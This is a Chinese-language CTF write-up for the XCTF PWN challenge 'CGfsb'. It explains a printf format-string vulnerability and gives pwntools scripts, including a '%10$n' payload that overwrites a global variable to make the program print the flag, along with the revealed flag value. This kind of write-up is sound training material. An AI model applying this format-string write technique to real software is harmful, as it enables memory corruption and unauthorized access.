天天看点

CGfsb [XCTF-PWN]CTF writeup系列2

题目地址:CGfsb

先下载题目看看情况

CGfsb [XCTF-PWN]CTF writeup系列2

 中间步骤我就不再赘述了,直接就上来分析反编译的情况,先例行检查一下保护情况

checksec 5982010c172744c8a1c93c24b5200b21 
[*] '/ctf/work/python/5982010c172744c8a1c93c24b5200b21'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
           
CGfsb [XCTF-PWN]CTF writeup系列2

反编译成c语言代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}
           

这里面可以注意到printf(&s);只有一个参数,正常来说printf是至少需要二个以上到参数的。

那么考点就是在这里了,注意到题目到文字部分

“菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用”

printf格式化漏洞的具体情况,大家可以去搜索一下,资料非常多,我这里就直接利用这个漏洞,把过程给大家讲一下

我先把最重要的payload部分分解一下,首先我们需要确认一下偏移位置,确定偏移位置的payload如下:

payload = 'A'*4 + '%x,'*10 + '%x'
           

我们在payload的前四个字节设置位AAAA,那么我们就需要在printf打印出来的字节中找到41414141这样的字符,因为ASCII码的A=41。

我先给出查找偏移位置的python脚本

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./5982010c172744c8a1c93c24b5200b21')
# p = remote("111.198.29.45", 59952)

payload = 'A'*4 + '%x,'*10 + '%x'

p.sendlineafter('name:', 'aaa')
p.sendlineafter('please:', payload)
p.interactive()
           

执行之后的结果如下:

CGfsb [XCTF-PWN]CTF writeup系列2

这里通过计算我们发现41414141是处在第10个位置 

我们回顾一下之前的题目的反编译c语言代码,需要获得flag的内容,我们要搞定的条件是:

if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
           

 pwnme跟进去看到它是bss段中的一个数据地址

.bss:0804A068 pwnme           dd ?                    ; DATA XREF: main+105↑r
           

现在三个条件都有了,我们重新来构造一下payload

payload = p32(0x0804A068) + 'A'*4 + '%10$n'
           

这里解释一下%n是写入计数值,%10$n的意思是讲计数值写入第10个参数,也就是我们之前定位的偏移值

p32(0x0804A068) + 'A'*4 计算是8个字符,也就是把8写入到0x0804A068所在地址,也就相当于给变量pwnme赋值为8

那我就继续构造一下本地执行的python脚本

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./5982010c172744c8a1c93c24b5200b21')
# p = remote("111.198.29.45", 59952)

# payload = 'A'*4 + '%x,'*10 + '%x'
payload = p32(0x0804A068) + 'A'*4 + '%10$n'


p.sendlineafter('name:', 'aaa')
p.sendlineafter('please:', payload)
p.interactive()
           

执行结果如下:

[email protected]:/ctf/work/python# python CGfsb.py 
[+] Starting local process './5982010c172744c8a1c93c24b5200b21': pid 69
[*] Switching to interactive mode

hello aaa
your message is:
h\xa0\x0AAAA
you pwned me, here is your flag:

cat: flag: No such file or directory
[*] Process './5982010c172744c8a1c93c24b5200b21' stopped with exit code 0 (pid 69)
[*] Got EOF while reading in interactive
           

注意看到了“you pwned me, here is your flag:”,因为本地没有flag文件,所以没有实际的flag值输出。

实际的执行已经是成功的,那么我们修改一下为远程执行,python代码就不再贴出来了,自行脑补,执行结果如下:

[email protected]:/ctf/work/python# python CGfsb.py 
[+] Opening connection to 111.198.29.45 on port 59952: Done
[*] Switching to interactive mode

hello aaa
your message is:
h\xa0\x0AAAA
you pwned me, here is your flag:

cyberpeace{3f45d72f69056de04a6cf274a132a374}
[*] Got EOF while reading in interactive
$  
           

这就执行完成了,本题主要是要理解printf的单参数漏洞及%n计数写入指定参数位置,这两个知识点。